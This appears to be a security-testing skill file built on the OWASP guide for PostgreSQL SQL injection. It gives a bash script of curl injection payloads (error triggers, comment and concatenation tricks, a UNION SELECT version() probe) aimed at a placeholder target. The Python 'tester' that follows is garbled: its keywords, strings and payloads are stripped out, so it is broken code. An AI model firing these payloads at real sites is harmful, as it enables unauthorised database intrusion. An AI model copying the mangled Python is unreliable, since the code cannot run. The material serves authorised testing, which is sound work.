wstg-inpv-05-4

name	wstg-inpv-05.4
description	Testing for SQL Injection - PostgreSQL
category	input-validation
owasp_id	WSTG-INPV-05.4
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	[]
cwe_ids	[]
chains_with	[]
prerequisites	[]
severity_boost	{}

wstg-inpv-05.4

Test ID

WSTG-INPV-05.4

Test Name

Testing for SQL Injection - PostgreSQL

High-Level Description

PostgreSQL-specific SQL injection testing exploits PostgreSQL's unique features including dollar-quoted strings, array operations, COPY command for file operations, and extension capabilities. PostgreSQL is common in modern web stacks and offers powerful features that can be exploited.

---

What to Check

• PostgreSQL error messages
• String concatenation (||)
• Dollar-quoted strings
• COPY command file access
• Extension functions
• Large object operations

---

How to Test

Step 1: PostgreSQL Detection

#!/bin/bash
TARGET="https://target.com/product?id="

echo "[*] Testing for PostgreSQL database..."

# Error-based detection
curl -s "${TARGET}'" | grep -iE "PostgreSQL|psql|Npgsql|PG::|pg_"

# PostgreSQL comment syntax
curl -s "${TARGET}1--"
curl -s "${TARGET}1/*comment*/"

# String concatenation (PostgreSQL uses ||)
curl -s "${TARGET}1'||'test"

# Version detection
curl -s "${TARGET}' UNION SELECT version()--"

# Cast error (PostgreSQL specific)
curl -s "${TARGET}1::int"

Step 2: PostgreSQL SQLi Tester

#!/usr/bin/env python3
"""
PostgreSQL SQL Injection Tester
"""

 requests
 re
 time

 :
     ():
        .url = url
        .findings = []
        .session = requests.Session()

    
    POSTGRESQL_ERRORS = [
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
    ]

    
    POSTGRESQL_PAYLOADS = {
        : [
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            (, ),
            (, ),
            (, ),
        ],
        : [
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
        ],
        : [
            ,
            ,
        ],
    }

     ():
        
        ()

        detection_payloads = [
            ,
            ,
            ,
            ,
        ]

         payload  detection_payloads:
            :
                response = .session.get(.url, params={param: payload})

                 pattern  .POSTGRESQL_ERRORS:
                     re.search(pattern, response.text, re.IGNORECASE):
                        ()
                         

                   response.text.lower():
                    ()
                     

             Exception  e:
                

         

     ():
        
        ()

         payload  .POSTGRESQL_PAYLOADS[]:
            :
                response = .session.get(.url, params={param: payload})

                
                 re.search(, response.text, re.IGNORECASE):
                    ()
                    version = re.search(, response.text)
                     version:
                        ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             Exception  e:
                

         

     ():
        
        ()

        
        start = time.time()
        .session.get(.url, params={param: }, timeout=)
        baseline = time.time() - start

         payload  .POSTGRESQL_PAYLOADS[]:
            :
                start = time.time()
                .session.get(.url, params={param: payload}, timeout=)
                response_time = time.time() - start

                 response_time > baseline + :
                    ()
                    ()
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             requests.exceptions.Timeout:
                ()
                .findings.append({
                    : ,
                    : payload,
                    : 
                })
                 
             Exception  e:
                

         

     ():
        
        ()

        file_payloads = [
            ,
            ,
        ]

         payload  file_payloads:
            :
                response = .session.get(.url, params={param: payload})

                   response.text:
                    ()
                    .findings.append({
                        : ,
                        : payload,
                        : 
                    })
                     

             Exception  e:
                

         

     ():
        
         .detect_postgresql(param):
            .test_error_based(param)
            .test_time_based(param)
            .test_file_operations(param)

        .generate_report()

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()


tester = PostgreSQLSQLiTester()
tester.run_tests(param=)